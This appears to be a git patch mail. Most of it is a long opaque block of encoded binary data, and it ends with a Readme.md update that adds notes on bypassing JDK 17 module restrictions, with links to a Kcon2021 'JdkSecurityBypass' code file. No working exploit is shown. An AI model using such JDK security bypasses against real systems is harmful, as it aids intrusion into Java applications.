zwUKV!k#(n=mrRvycA^+~2)V7N+N_Gq(X4^TqB(xiKawu&7Yu@*YWY_jF% zZfbAr7o&jC+ug;QV1F3Kc;nMgFB9oNV@2k!fxnMR0aO3ixNmpqsTSN=YhKiP5>&lW zIk)^t(tN@|I`!&<3$OAER%@XO@I3X47zNRQ2=(IuD7R6sP{}6dgS=)cCLy6ITSKUc z+xQ5+7Bn}>Vz=g_$miY5(9YUU7+L;GK=wh(1rhaBV?gx&=JK@zKjK^!g?nr(<{gGE z*fxu`t(M7WHJ1-|y@`W_>je-W2_W}eSFX`pce^e;xLJ^x~Q%5Lf&RcIB9u{dBOFE6Mc$iV&ReS+?ufo-amONrw>sCX|5`-CtWmEY)tSz z{SPYUH#rI>ls7Vv(}g+VlE*NId!DYD-f$%qMpk7ibqA}Y-M{G;Yf{Y_Oa+#I-h=VRf#X848_bB`cL zSx%sZG4#nBec+mRTDmSH;}oq6q^GKs4Wyz1USmU{SgUoJnu|5GEdILO4o!x~ zBOGLRgAVS#LRZ15B7c41@I0%o=ZzEf)p7o+VXjnyX_q&$z0XmXd|YMh;*rpL>c%aG zP6jhgxuVQ{ZjuM3$4p^2b6EDowVzV1nN7In=yd0R5ExR9*-@pq7J+nUy{h*UxMV-Q z&QhA_mB3@TWDjLLDWKj_zj|1qsnX86F{Hxm8Z>>$$u`&2e4CbIp^pm`6hZbxrmE`K z1(rO1UJr^s{3FJS%1)}k4r}JjKO!I`E51m7s(-WZ_rl|I2C^WAt+|DY$W`Q)d}%fx zaev|wF+q8v>(iKA^Y65q{O2$*F(6tR?o@L6Hdl$!1)KHb6;&H%0fK4h?aNtw$i%Kr zdmke#ysuSoUZW7@F!J;GfUhoVT%bM|)|p64lSJ3;exLteyaR|_bUNIHv$At9sY0)F{vbU)pjPFX z5H2O(LU!d|VX0s`-LhHg-ICVp<>$h8lt%n*MTIB3sfN)kD|>uK zVQZemUA@|fZIqpk;{(JhL;S30`;g+C$Bi=Uhngcm$4U;r4E-m)#g2hxgW_@cBl`X|AUS-c(SdvCc^IgoQ(rH4 zlP;E>$HiC-crtihvwy?&Dp%N<8lWk&hs{ik)_D#`4Jlx~EBj&dKBtwj>V;UV;c3i* z;P2XnswXO3SbI}aEPqyh=4%XI!VMf*42$`J$__NU8eU|Z@pDBe%QvnG-}xn=nH0tBusUewLC_0}-!v4?gv|9yz}N1d4KmcHI|$^NeM(QK)ohQ> zvh$c&g`9r0F7jGkJ;8cNn;Dta!hU=fSQ0V1{_84+zBGHNU#Y_;I^spbP6V1QC_lgq z7nX@rI5hP5$jFHg-fM}GdE%DfVPBomgG?x6Z*8gF!JZWt)AS6oi_ag9Mh{>5y0HPRF;v13o`IIj7yi#L?-^qej9x=maU z#_gu<$l}6n5ZphhANnr<1Fl)-#ah)9S;YTp0V|lA@d;hAN;7zBN{r@ur`XqSDg&;B zc81kR4aW0}HCDuZ5*%a3J>WkY08KtTq!^dNB(we6K;bv+5l;zthHg+&ZcVWDo0Epf znK2>26Lp5`g-rMvnDn(k7LS>skKOBQ`*+}qvbSn2sWS>#5kBt(S3ClUe#{XuVI0r% zImJ6WOzPEe4O0RlRtsvObAN@2SPM;>sa+G%<_~Cu4}dW6VIyC}?M32@v>lxsjzqAI z<>7jrs^wmIf_9E8x#Jk&yAWb^QyYF?Z+OAXQ>knu$Ob#ANa7||Uem>QNl;+idOv@K zZWOG0#cX#udH4~7dDV(nF$RAPHu7spQy~ihqL+7zf56t+UB0s47;Y14_@-!?4%%UH zTxDf<`9GI1)_}qrLq;ijG;t>m{HACN+@k5595mPh8_=O4oz24{Xs`3d{wZU;r#`6H zn_O>ub(0tTcwQLpSHFlr^5`Wfh=jTAyIeRd7ey9+-XRCA`Mm>uewD*#eS|#O(3Zr^ zT0;3LbNKOL-562LFL`KE7G|9&UQWWWV1^tfeBNj;BF3eQ_K#}QIc886MYUF-0HhSM zw<2#YFPaxM2sLLc(nDv>Ma`JYaSz@ns;L)fz(tQ1*NPXXh`;y_9K)e#J&iRH2E_8y zlK?a4;qs#jy*$E|*VzJ&yj9nTObK3q+OdQb? zFT8BrRq8 zp~f65N5NS}YBH+z(E1M66ivkG^3{LaF}r_jpto0JSaMuw&e?f%o=;Ov<(nXbqlrzH z^MWmW(S3jAqct$ey1aO=7(O{(~mmf)kh<~W?a;``B?wT)KcEK*~_@`9qcog`T;!l z=owLa3A8C7pVPVFIa{)fze zmqKU!`kwtX`v)C}eANe3m+tIe_M0&7G)pewsSHVEmsl>)XQx3kkV9!rQ*ll{$QOLB zDk&+SOL5NOD^`6#rglHUocXY96@0-+grGKMk;I@Ux?;#Ir23UY2jb{UKD7T=*~Z1C zae|$Yo@n?>dwJTCJLcd-JFG!T5($z;6hq#qJ;0zgTLZg;Ld>$y3vzomog5P}xciPf zn4K>mnH0mo(ADPONg)U8^?a;hj+i^?*YRIsY#$4)Xy=gM4kHfxryRT29EV&UfWs&V z>7FxC;9WPfn7}k~gG`xMJ7`FoS|^+E5fFQ=FQXS0nJY_D`zQm*=Fo~3WD=emjM32$sgq~?w{dK+6xbFJnQ zH`)~bnniU@%H+Ng?h+wQ2I>IPx;fG>u>)_!DsjJ|?sqibrtG`En%W@N^GDVF-+d_+ zB^A*dsbgvk>W1Z6Y08QvCLQO+N4^)NC*lOtRpNSv=TgpSD2fNBZJ39fjvD3@2AK*ZcG=And%xJn`UVHJzrSdcbipSyBPM{a`IcrzICZJm0B+pZRVUn(tFf;r&pk-SHTQ`V zheUYGHi5~YX23B9?(p-+u++r8;)^xE!~nAdj{+Vd7acJb6*l_t0;}av(J)c}8zJo| z6{lqCaA>)JSOyWL^PHw?ui=G`=7G{A;-_xxizYqlRtxHq&bhx#@D>zLbrxyeL;(a`dgoTrLTC_gseQ$ zkaQ3jSkc_$F6!_Qi;Hv8h~JrL>Xc7&)O1zUU zG`poR7#9V8yRzT9rN51qC@tEU$9LQGaThyTC`=2QU`DoiN=nW>IXTWsNG0eJtn1wY zFV~=-Ug4}awmDxj2Cd3pe)@d@GSks&k`UEebUvCk1I>H$>zGlqzGm9-I5_3!s({+$ zoDV{6r-0Qma(F>Aivh~s7002uWR=RrhWae_$0-E%aYst+{r6xoMppH;Ks!OM+;{(N z*mMjG3o36h_8fpW8}(0i9vTp5pls|`PGe>E2mO|ep^%Otl8V6{!TC-z=r}e|-Ey8E z@yllMFU8sFq-!P@QeWbl+-Ywzai@UekFYqMn#Z2u+_hW$d^_GDw=rzIxF4pibp6G~ z`@?CA^vyp}PAp94OP!9&4J;!MUu8@TFldU>WmxM&6-rtXq-WXxcDhB%zu(Sz>1+ze zV{muEx$`syQp7xbb?00pP>P`Cu-!)znZ;3xi zcAO6HT>@8?)GOF4Zg^=8IGNUD8I{~iZ`;7wiZFnyjXa6Hq}EGGzK=T0ap|E^iWeCB z-^&5ZFG19WVdH(X69oUmVp&)S^Ix|Cxdb((rQ=2?S%A68lebVJF zNC)lFnAv7vW8j%iZ_w(p9LT@m5sPg)EPpH*YBVbyo4!K93`tASOnszMz&6WbP$;$x^KC|9Jt5%KP1!-}d(Ub$096c$AFyTWADx@ql5)61*X6C9&E;(ukSy^||fwzE^1weA(()yMdlaxY2@ zmBWpjwgiGN%GwOME$+O1&HZh{!=cD}TfUi37g25p9+S+$L5 z?M=dJn+^PvK&$!nwNUDFoQm=C!L_<~JFvSF#{|(pwy(ETxesj4a46^>2`;kl-k|@5`a-r5s_03T{i422l?W zl-IzfdwXdQws8-jPmEpsOsj`^#)$>x0Ww{edy*1KQK9|b+jMqd&OZG4wl?sFJlb(Z z_Wn)boooYcKJMiQLKI#V1E+0KYe&8}O7Re)I!>i9xt=5-?UGGlZvV?I1=;?T=PJz?5Mf z79H~bHjyG&E}HvilEzb8($j!>Y5aIu73*)Up7CLAkA9~;_(uh^N|sSBrn%MUiOtH$ ztMApDeu3N!lYAkcykSN!J;S5K-x(NO>yj@A1~0F&4zF1pe%PM)W`5=ke_SH3LHQg& zrICb*F7JvZb)qKALQrE(yCB*)lzwIq9o7x5T%_R|rL+2=g#^kQE+DT*U_?8&$(uUr zvssMq&6~RqDT_LE>tHN&BumvH~y|a$>obaR* zHK~bh(59NnzgEXaWpl$>8ZI;pqADs39;7%;G5ayn7ZIx)%4WF|3JT~VA{x3K7d6cV zR>FO{TZ9+7J_kHmJDip3hOHtq+Ar)xa<-@iCU@pEOZ-D1xop{1HPh*s^{em8T7!P= z*YGQtzvGT_^U@K#Vjv_Ev{u6!>FR-^V;862K0x0HP&%oV9a4b#fbt&|Wzup->&K{B zD<|Uau@*Fgy2Fz9mhT zZAUe^ts&Zxp+f0GvSb^1Q!W`GFJV^qj>?vszO|o>);*jUJ;5NQ`f<%x8svTUJNAXT;}~(xE-) zvBd@g(nr)mN-q_1|iFh!feG}B~U>z#SruDO)Lft{M{9`6JDgyFA&?sU=R2f)&3 ztTBdH zg_U0i7Ie#-ah1FbbkRs|>m0TanQXJIH2VqzmJ$gg#NGiGrF? zTP|rEB;Boi<>8FNJmcB%hQD;RsMpSIRCS4&1w0edQomCRHQT_q#pUgOQK8M5M+M%& z&yLc=^+OQ<39Ps&nJ{P9$oCrLAB~1u=wD+K=9Nf~3l_~KGn;6}n*hr>Vn%)z<6Ax= zF;{GpRpbRGmy2MVza$chvUgEzt3QwO`!eg5KEJwkn^N%z>-KV;6wn&KE|XZ1j0e}` zm+b`k__OVR2US+Rr|#jZ;xE zi_G;)uTkbTB7JZj z9_z7+6e%{hsTk!=&K|e1ZgUHkI%&yD+5JE=+~@PV=t~o=*|aNv(1devdF~`G(2~$# zYCrqnr4tp)Sid!)#(5y`EOIw}*s*Yv;xDmr&PXhRIUXhB5#Z+BKuR#@dUHVA;{gSD zO1X-cM%S48GqhyKmb1T#dUAB@j-}Q_7RbDo_M2qc@F_D*T6enCqxv-^?MQFD%G+GN z`wXymp~v8%r$lHOT)=z=c@cI?K(Dk0xUHp;Rd zJ6&h|m7dWX?AgmltVr{vqNO<=I<)t;#MOvb2QfLS&Y6F*I6#*w9Lp)u&QleAEgZa}^xcUfnmP@M-)KDTG1M+K^;8Uc?>_Sfh=;5BW&iTaXudI;c6SZC2DM~jf#^-Hyr2q)$ zO6Aa;t?&o2(%~TIBNbU0+w5AWP&v_Ddy~Y;6042A56acWn4h{(TpGe782f^UVU&>PjFU@`yTyxE zlr*Pu=d0HO?v4UV3PNH{Y2GAwO4CMvIDNY#yiPU`TJ_BSc2!?K0LW&a& z1*(RFh+>%e&$-jH{4$ddw9O|=z_4c)frv!h`$-qJYU>hT)n-^zlA#b>F@3RAlxPB~ z4x;l)e__^1zHb!X942l~J80;ae?Q0_=eXqIbB&XiQjP!y2UZ06pkl#OV6?-zHlK~f zwV|K1)-?-g0z9&0ojYr7a{!e69o_0N=oTJF6X=%kULFfRfrY3~R68ZP6cWIVgF*sZLe!Ep6nPcp^tUjwZ7h$Tl7rNqj>)Y_@TVx1EZ9_v%*G(S zZ$u2IpF1$R(yOEUx6S_M_P2f1)`cBy^_3_WSBjiUn(+7f;0Pl7UIpJ3#xeB3_6^viL2&%9vtH@|TsM*djs9&_GweW}WM$b{g`f}to zgJU#_>TJ{%;;IVtVso1_H~QLi;Sn;W^D+pmcfFuWS4G8NlG|Qz`&WM{>W1nt1i5Q7 z6GTnYq!j>9PpM4VnXVq@80*aZc>bvNL1(xsvRrQ)0iZjfqIXyInVl>3G1j6j7W zPQ{iZ+V+hjEf=*meafm2X)eeuYt>g}$V03H)1~S3vo*^E#t@nXP{-=G5Oz z^i0S+^BW&?9rT7zNDajoS0DP!8V*Q3AR@3s2DYUC5hn@md+sN+!B5-Dhn zx^Z>pCXFf+*)LS#FV@Tr8Aim~2Wdy&C1qReIbb)=lSWm9waI=gJZyHX`#2e1TYZW| z8KGNM&30{=U0mE~ntrt|$3UzvY?N=;Weg%iX6!y4EGX@jSNB}wxaU?w)YA0dTJa2JhJwDLsO`kRj(%$&iI zWY4ikPW$d_Ku!+N{KEU)@WRvrPgIHvj!`4eSPFnv~E9q5r4me6wdo14;`0d_c~L2m?-` zKj}UGuw5+$vZ&TB>G7~=o8aQ|obXzQ?Bj)mSHh$Vq0XGOpXa7rH86h$!e%qLjk&zL z{N3lb{@s?{r#jc+Mx_&ve-ceKG4K%s5&w?CYaYYT@?t|4%X7oUlXnbszEHXtje+vn z`uM|h`kJR*p=XYpvWno!)|%@anxXh4H!r8J))xG9oFJ$rq}Caw=0B~YGT=Y0 z!_3o_8RND0(%wO7$p267;P=7I*=aQBakOgR5%g`n#lL}Qa!cN1|Mn1`pDL@&*Lqpq zTIMfujdL8Ud1IuMDn7;EF>mlVRmQ*!z$zLk#Y*+7Jb^dL@xAD)orA9H6GiDhn{+}e!9=bE)q?>VE|MzCjK6@yalv(ZP?NKzlK3*UjkwM%!UK zwhHh!)uie$-+E$`Ju#$EmNi<^WVm5t#b6WXC4ms=KRCS*XE z``2{~sJ3)Z&NXC}bGvQ28Cx?pi~TI>eYq*sc*%*^YES`+xL%KELYIi!A&bl{yxb zm89Lu!k~pI?&>IB@%X>_#(C4c2eAeJ!W$|#cQYFW%OCGjGD*8MTlh~s_|W(VBcc4> z9iHPT&~Bo-?cr`WVwK}z4Y0!O-Qm6SF+#?}fOnH@REOj~r1HseD0O@cJV-U%bCma~ z<0Te7V^3YrKq|sqs(!DPddnjzZ2Z7~;X?HJSq#O@flRqJ7->1NoY9N|%h-6lT)1hX zF+zA>b>p3u76Kk#tF@CpP;mcumw@eyiakqA8uDA*ys70V`1|Ijm`~9@M-%IB-pXcj z@n_LWoH#y~#2A>s0RAtkQaKH7ZkcPmtp89-?-g_-4gGc{R?v95*!-thh#LWT@Wf7e zlO%()&&S&8sKR4@L8$o~olKQK`^~5x#eeo&z0Y%Vo%ub$v38$*G6v5b3rq5i*o7B!zxRv4d=emUab%s7=DFrx-`;Ql^bkE?fe7*mjCH*1QE4FJEZ(<`5N3IF!t z$=?*9jScyg;O-yIw)Dwf(cjEImt~SW$FNWAXnc4(`Uk0cq_i;!qJFY5g8txKN7Gax~AfUkbSBRf!&oEH8*S?+BHM26sZka6C} zqq~eK99frfl~oP6;ss@pq}w`f_BmDCti{kK1$C{n^DHaR#E5M(Jt02lWkZF3YNjc~ z!D?Q3t5FB+l$Zd9q4bOVqAfI$N-B4oWKne2`)$F^&ArE6TzocJSbW!+5aR%MT2E{; zT&Tv%kD_%m!)j7}Q1;+@3afWLi!N|<)1my-+!nJqBRaeyw#WNKGTz+!$K(L!RURLq z6T|GSBDndg?b4Bv5Hd>OoCuj%aK70hc)$Pq0b}O_6ptNR+-*P&s=c|5u@e{z^p5F% zij}d$FD}SQ^(nB^p>&hWf|lJVs~6^AY?r|-IhN})r(o3tSq%9mWuH`h=7uOK`QS1Y zk25njfx`Z^IL1H8JT*GmSUJHUpn#t`o@4TE`>Vy%ZzbZ?=8DgVcsI97#9S76)n7Y` z#?NhX?c^vwH4#-0-toS;&os!YsPLZ~vp7%O#|&K>+n z?n6ildfVhbCR~%q3qhOHG+<53)excMwRbE0B4qYZEfA`ARSVJ`4B+tXPic-n~ z=9J`?l+f;;a&+Spo2C1q>*=8A{)iS;haJK_l$vX;A^LnI;p?eVAk;RNE+7!m@@ybP zCE+@tBpP3FVfw(d^U$Cl)TY0wcAfdMJl-zYO26}K zrm7lzvn@-lGfHljc@4Q*M#d8B)0IN8EQM*biRzzIkdy9_bfsc${RO6Ey~*413zX5$ z^I{0VV*S}og~!TI!Z!BV=z}#UIV%epwNt?xD%6Ri6}h>NSafFfAJypgf+-V7+)^aR*^1b&rKo17P#M>=7LRRb$xkdp{7yXt4Ixw8bZAzS zRvPiK#&{xejn5I7Ex9x_9XyPDojgCzJ8ep@JRRI#D0<7O=V-KJvA5SUw#}4wpX~SP zhVDb+u<=Y}@K)ENs@x>MCw-gq>*h($D(KX*rRCvid-&7vV7m-}wYn9Q1S_mWS}6BU zaX)Bd4OicD>zjV%e(65&#vhKN`5~1?z;|ltaiga$}>mC z+ySJj9DTy`G6o@4Qw8Ze7eXZt!i8p}dJ9JQEpV2#QN-NhDVYUk(Nl!bT7XiP%J6;h zLCb*>4Mof0OtBEw&vp<0&DJpVSzc8{$-q@1AIBJNB?(Uz8Jlon6e$p%_TVbTk ziVC|lZ8UA$DQO*W>}g=oiChvfi!hY3pk$o!8rNE*I!#(orA6Wz&YrCvtkQd?-cI_I zniSOrGa{^*7(&nVv<07+v0EJ3=D}78vfFp8lRV`x8#66G0qeN_2HU@V{pYVxE0cC6 zzHed&np6lx&~=TAoAm(kSogTZ*jS3)Cqr6^>&vm7pfR1Fby0~iZ)vsalLjLgaS|Ea zHi~wnX#2tEi5PQIra9Yoh0a^r;AL5>0|noCB(z=W8wM&0p%`IVNGnu5_@%FY=DTc& z^O&RNmw^@ErnZ{Clm8(v&~1e!Y#`+s?0gP%1tPU*a(Jip;+v_FAjak8}+8$8ln394>ZnHR+R0%c5LnV`t-#tSM)2;@Ixt%-0-D{zy zoG@tYC;x$Z*8pA0v2l{8H7RfkhY3M<@vX04hKB7iNm*K93W3~@$Cvp{5nVB8{+tCcm$IISp+3s{flNKu0_ra*%l;twnB37!9y#}{j~$i4MZ z^!d3h%*if?-nx=uOsqD~*4E-HAa-Z4Qni)FNeRHE+}fOm|GchgaSkU*;C_ebMq|9uAWMXlJ01YhRx98Mb5CWTa; zGj|`iGxi6z`w^oy8(wwnjVYcJo}nUy!iF}>2&WaN+UA6IrerWx{PsGEOd^!^eh8%x z#Ejz~j{hj@xV?nsw#hywTx|X%XftFW5kFDLa@Ckm*0tl*Sz`scr!H*kuN=pRcIAc0 zd=!Y?N{!1MPm4w?vRzo zxHWxD<29Yk~f7l|BfwZ!t)yTgQg1y!epK-R&b!=&dQn2*CJ=}mp z>*v}LqhLBcskj}$UcyLq98!AsHs<2+M@X^_q^kmjjg?>;Qz^81(BrXn&Hk^M%k24B z!E{IVAwhKO;apO6?RW#RvW$>KGqGYhJ9~0wOu3N#E#;W3zG_ldmH@pB2A6Zm3=nBdJ9+cl|b3%9M zdcj1ZwiAE~%&s5Zack~%l*WRtO+Y3ZiRU;%jBwuzOjoQm^v3LIZmM4YV;NG_`6!aZ zrwYT}buyY?xI_L(4PY3%kL%7STS^7%tTAwF0m00{`1YGT+bW^$no3`$*y%zQw`Rhb zbNh_X_7H9+;gVmxM!9MDU&strQ%Z>buLxHqnG!pB8umUT{pq3fpO0?01~y_7`9J7j z{e}oI>6FoRq}GO-r>Wjv&IPS6iRwX%v09DI_|viI?NFextr4`R2X;6al-98IhDwPa z1^5SkLoD(1N;-2X8Y(Krce8X@(I7!Yx)fT1P^#3(>mT^&a z?HX4MRFsk$7(hCtyHTW(ZiZ008);BPB!(VpK#)d2kfDcC8io`EhVG#R3F$a{^nKp* zp7Z6L`7)pOZ?CoX+I!vib^Y(P7(zchJKhF2(oD1A_Od;Gr+7TcNo<=&2&9!Vw_AZF z-JPY7qTIHzgwL@Da&O_6uK6y7n3$ZLT%B=QXxs2H6s4jFEc*8 zH4?&f7Y%-NqZ1B|5E|Fa6%H=}x-4Ahwsc!~k+Re-@2o-Gz~Q3C-~xnfo>JF;%i_yP zxoZoiPMV0OhyZ0EIR~kP`KWb_B)UYSedtXlQ&b^vszXHbb&sr^g!NJb&-Y6q2l)?U z0SIhqp1o6WJkz&6jOY}8Y}72}T88Mk*TMBX@DrXtU5k?6@B@Oh{tZt7UAfAYatDBc zVJHKkuC*_*yZzXf_%SR-7WDZ+o`Vy6+Yf zh#3VIh0W_q#uralj_M7zWFm`;BBAtl?G}{Ens>_*h?OHroZEGD^6%(Z;Bi|0Bw3Ps z%EitL)osK*CI31-%Srpu z;!89vu<(>tcw-Sz?MvQQY@6JFZy70delyS{T|+$}$woe43q1MMEAo~?aTp!wqd<%4 za7zym0!fWlWfktw-zXS z`R6kF>6N;XVFmVzh)|C7i`Qi@w^kD5GI4t2EYZd#S_-;d&nYG0ic^fCc0B-+Z*MnlaWRP^5-T1Qo_|Dm&h|`A6TaeNDRKDqt#= zm{rAK;g6OielAHvVa{{Sumxrlcak)HiL+^7x{|*i zj4%VHT`&nOvP>tjnmr)l!ab;&4C}^GxvtO`{(2JDP1FEZb6-`)Fk;T928aCn-!Tw= z=@rO<6i^*inn-t5t2QwdchjF&e;I58;8oEEl%r|TA z^VxctN4oFE`FhHXgz!1nvA77h2+?!oc4_wlw`6u2wH<#1Wh1fs!&J@>>lNbFk02abEf=& z$2IVyw!%KK=XxWjYy|PbSr$jGLycV<504C%`!PPN6Adx$H2(UyG>SjclFWoG-z}QA zDb=}kp>#|sKGyxD)!N|spr96frfKx}$%szSRT~TS?KQvctdW=WeuAd7$GsASC!+k@ z(Z{cU19VQC^G4sNwYv(oe*DKmS}V=6!FssyndUZeGt3)Ox{-`ZqNkZ!0=hPbW(^aG zYl#jgi!UD24l|K}tmU&T1|9TybLg11uNDc_ArG?6=3P;>5dzzodi7)+c8QZ`LBI0Q zK~00dCI$IU$9}EPNbK7aD&YioY1$9a%KM#q=qSa}#Nz_hCKDP;;{uDRMA50kei7Y+ zDhIWV-G+uZb3%ubwGj>dCTp$0JiORAQ|!IrdB4=cezbq}R9Eqdr6a*07>`~BeYRXq z6Fh#PLwWSG34R;V=Q!!n2SjA^x$MZiM=B}nE+@?TwMMU;Mxs1F1P8t(@0v@BGaHSStS zo@^vWJ!;EM0hPM63e$lHfM`hQD^%xsGi8qM4oCX3Y6X^g8F{{OWWQD&T}xy2X!nsFUFbHi>3wCW8l4p~)JnynUP1vPhWA7;on0YXh}~t;;ntK^ zU~97ZX3N)DnvDFes{GEt2YnNci~QUHnVpqpi-^)?nD)3}&7mYLq0DU#pK{PJrj1>D zU@0_UiqFxmSv%=5&gL3{g!ANg%^HDZeqNmDGaAbR%w26VT7aGcPD^-fJQRJl;6C_r zZCY(}Yay>JkZOIibk%)ush|(==o+6W6h)+fS2%=G{u0&OJ9*-&9^(sLc3vV|j4V%? z@g)att^^Dvh1~H2kcaQJ@Sl_R@1MkKwf|mTY?_I$43wG$|uLwIj_zg#H z0Q6x@Xxe~Y29W0sR2y&G)vQ;h#Mr3>hpBp2pNBdeod+sQ+y0gul=gxhjY)J$dqXe@ zfirK8o+bwbSeuE*nhKn9T#<*_a#qtXL)rR}jJeRQ#ZL?VK3fjldA|)4*lhUh@h*a1 z9qd@x99M$j*W{9m?vL^i+OCRgAqL?Tcj230bG5YOc#=2)Qj_;*Q}2B?wnrL=4(-4D zE^4`+z}KcAJ?}8-CukVdauQ8mc$xXuh2{5mYM-zYAVoTq3b{JIKC3o@I%{shPz_4= zbuQuhKoAFeBHYa-4E0joxi!txzdkUwi@lJkCF8~0%`Zo7RYFR@Tdk$E_T9QZPmv0Tjrp|YyTHy#|F#<)uh zCyJqnoz@S|QIBm7F>|3yxC1M{XDzyFn<FZG!i~yOhcTuLJ%a%3IUT)hcsOn-vjFuH{C9wYbHz zfW`E=Aqw~PotLy6lZBfZE71TNbz^Egg&%w`WG*~ZoT4{{OWik-1%&?;_b)UXhGWTl zDfz11sKGYUu$ZlKpkI!x7GyX-rI`OmTNi8anUw&bR1^yaCmh<8OfgCkBl}AbC$aDt z4eP}G01aeND3n~17?~r@XwGB5M5sv6(t9)%RDG);i_NBA+S{?@apkTk3Ntnil?hGr zw}eTbCuDuN6n|9;cz(xR!(OBT%gSW_ybNH{%S6R`=w27=WH9*SR6|zTB`vY|l}RSe zU3wN%WpDvXEz`2yF_-_=#CIrx#}>^h^oRU6J8Q$J@o&l2h^j1(p0#}Ek>u^%-l_<| z66lSp+j>-3<9Fi+4Z-Yzrw~NUqa8}|Ait;nnwHbLo5%c=Y|_-*hJD*&j-$Fd!q^;B z8vac}wI9{vZ>LJLz5!@fZRMv@@PO(HS!*q?zi$K*Q_{8x^5WTkp9oMigfv2i?(*^v zhtvq)&|aI2 zwyjEJ%$|~}Z~^2oU(0WtZ?P3Me0}TWK{9vlnv4v4-j$1gG9F*GTn0lriB(wkiaI9l zwy@`cxafL%n$Hs{ zy9*SCzdUUl78vt@YQP5#z6%JjeR`-X=!LVE5ZeBSvwbTDXGELYdwNPZBDRly4X#gL zuxle=Rr&Gz5)y#T@r3Za-l;o>5JLItOaAm=F&N|OcZv2)Haoys5da6GGlTKWD`x!x zuV;}lBe+mBaI$&ToHS`GpNX(NvQMBuu~1Ak8gW$VB^IdH4wTr4I$)^@a9n&61+VTi zw;o%2unC({oi^9_1ikMYCuAiwr%OYyqb4j@l*^U7CcRKw%wqmKTv)@wfx}WJ&%>r|#C`MWu^d?q^ExgDdO)&Ijk0i!G^X=*cxlzE&be*kVq*ntOH$ zKkW0N8-WW^0!d_)r?adJq43RCUE?*>fYyXoYNCHjw_#JaE03J~dW|Z}xEHmq?#X=3 z7TzpS2V3CKJ>Inzw0*qyg(;n%Ga|ISg2IYd>cX0nTRK5Yb{A)s1k-G9J&{pn3Ka1k zwlhC4jeU>Cdm8sPz{P)oD{jb>f>@i~MW_>n%xD&Q32?UlL9J(c2RXj81}IG&RR$W| zyya1AMv!6rkZw|)z4KRk6q>pifO0@WE?a~@holmqr4*aOo&C=c=AWBb)6=VpIz@Z* z3K*%ZQXPCJQA7O7FsQ0AF(R=@zqdMmMB-{obC%^yUc_3@w)kFTNJgAwTDfCy;ilMO z;5Vf+ClLdie!KSSs-xPy0RPmnU{Kel8&!?$ka2kh57~IK`R|;>@xL4ZFipNu(H?R#OI@&p zMOV`-4O6YjG1XaGI1)t{s09xobyV-wRJ_x)bwB^|5nIq)r)_{fYAlCp(TDb*Xf}6- zRefNKP8t3#8`?^rLN3<%32iTQZ2yT(vY+bVt%4g%D}LDOY8)$0#=-i6eZh)+psp97 zM{xS9ZaT(a&t|ipNk^L&1(5Bl;x0S2)NgRS;g$SYmlsOhWp|xexuRY#!i5T=tiHd$ ze^{;Ji0Kbbfl&l^L_+r#2o{qV`kqr^E*E#@$0o@=Vj4SJE`zB6Yp~^IuFdEda;5BJ z?f{=~!23AA{IwJt2PKMkyZBvs;B+i0y@l>ajc+C*lT74Kf-gAA!IA^QHDvZGrpll9 zQlmIU^Y)!ARMw07lbc%y%h-#G?PY0^o7#>tBLV`dsCqUirM_laSpD{=tXfW0Om%+l zffZ2Q*b=GxK4V6Ui zcgek}EM4|_`@*wvOS2MUg|DkA^zIb9WOukcMWN16i zQOvDXHGM_sh^mvc0FN(GwdqcuMXkutjV6elmRa-`~fEx5$#Ruo`k6& zrlOvSVHqQufdlZPo1ysB+14LZo~mz%>3QT_6U6{Go36_DgM{3Xo;#D1FS|^5D>*BW zUe_L9*eoZ4+8%ZLaa>l+`VhQjSa}UXsalaQBNW}!?*bL`Y>Lx*f0{efjmMP@E42{K@@6XWrvE2X*-h8#SS<1ta|MI(1^ZAg6VT&nxN{a$AO-h-BQ zgAP1Lw9&vP9fNpLjgoG+OQ4syuwff6Vqc;TPY<8<$;LvFG4P6dcRCau{kk@%U$1)igNS|6G2u zA999>c;?SGl_Hlc$2M5cJ;)Ztp>4|H^%vfA;1rzAIG~XBDgw;U{86^$SZqT3sI~m6IJ2SmwYlPLIJ7P9<6g2_H^e zo+FHTaqxedKu5T|g%E4l)V3rjboItn45Jcjv zJS%O1^9fK%XJ_$%NpWIXnF=w>&g~EsIP+X@ccbn}5+~N=QAbGl->i)kKWW0Km8ApU zR}cq!ViBK-ENaG{=qAq7>x^Sz+}Hl`Y!bCYwtfDej!k^GV5G6!YgrC52AWuw0xd`| zynraSt3QP-f?j_(N1W>0wq8>5Irp4C1KrfQWjZY}LQqn4sm@i1>mIf~Z+{3`&Q?JO zohNhqKW&_Qa2X%m1%NO6(LD5hc@OFwYPCoDy%vyXPQ}MeSE&~igCK~ED0l%=5F|#< zFgd!PDf#QLZ9H@oVxN*A^`2FR4w7(=Fyx48mWdlCOkABn`}*c zbxt|f1Of0#+}-9cJXp%KPBJyB&CSY%5=$5h1A%2U+iWqCaX3jYw6Iz}Kknx$iuvy~ z*v%qBP8JXa3|Qjs#Y@&mJXP)fetWW74yD#!1;$`s*RR^{CctSJOcN`rvp4HFFjjfBeV=<;T5>CFR* z^2gp|Z%f#=WY^vJdZkY4`d`Q=UvLb1`|VdFo zW;Shz2Nd7Tzp`X<`qR5V&diQWJXfc&VVK|ddvO?GYLi>; zCOuW(?PwxN8n1a;UYcJ$p!%23#2S@0lFs|5?QYQUUTnGkP#BScFM9RP=X{H=VwrHY zN30}m^{f)mzxVmu|5C=#Ha9jbi6q{)^7{<5C1CP8QNdPJz}fVL_nt|CG*6~vmcX=^ zL;bYJO|dE4e^)U7no%&r{Dnyodpr3SVxqbY^cv3q?er}Lem7_I%5&(GrRLk#esEC= z9M-}=I>ArAeWHJj`#*mOfEQL#Bh~#AJG(ApH=_`ye!T>)%79`E<+eftw9BtEtMd_u z;L~S_^5Sn&L6>HA>-s(ZMH$tCd2&b@EXtYovP4E5&!=jm*=wo1F@)(`9X`Mr0RV0G zpS=~K1MW6prN&gijGLDEjy?Sb&$o7mj8AiK#=Abd?V*J#|9AWD$u Date: Wed, 21 Dec 2022 16:15:35 +0800 Subject: [PATCH 146/254] Update Readme.md --- Jdk/Readme.md | 104 ++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 104 insertions(+) diff --git a/Jdk/Readme.md b/Jdk/Readme.md index fd5b9b0..7c4acd2 100644 --- a/Jdk/Readme.md +++ b/Jdk/Readme.md @@ -64,3 +64,107 @@ public class bypass { } ``` 参考:https://github.com/BeichenDream/Kcon2021Code/blob/master/bypassJdk/JdkSecurityBypass.java + +jdk>16 + +jdk17 bypass module + +https://www.bennyhuo.com/2021/10/02/Java17-Updates-06-internals/ + +https://github.com/BeichenDream/Kcon2021Code/blob/master/bypassJdk/JdkSecurityBypass.java + 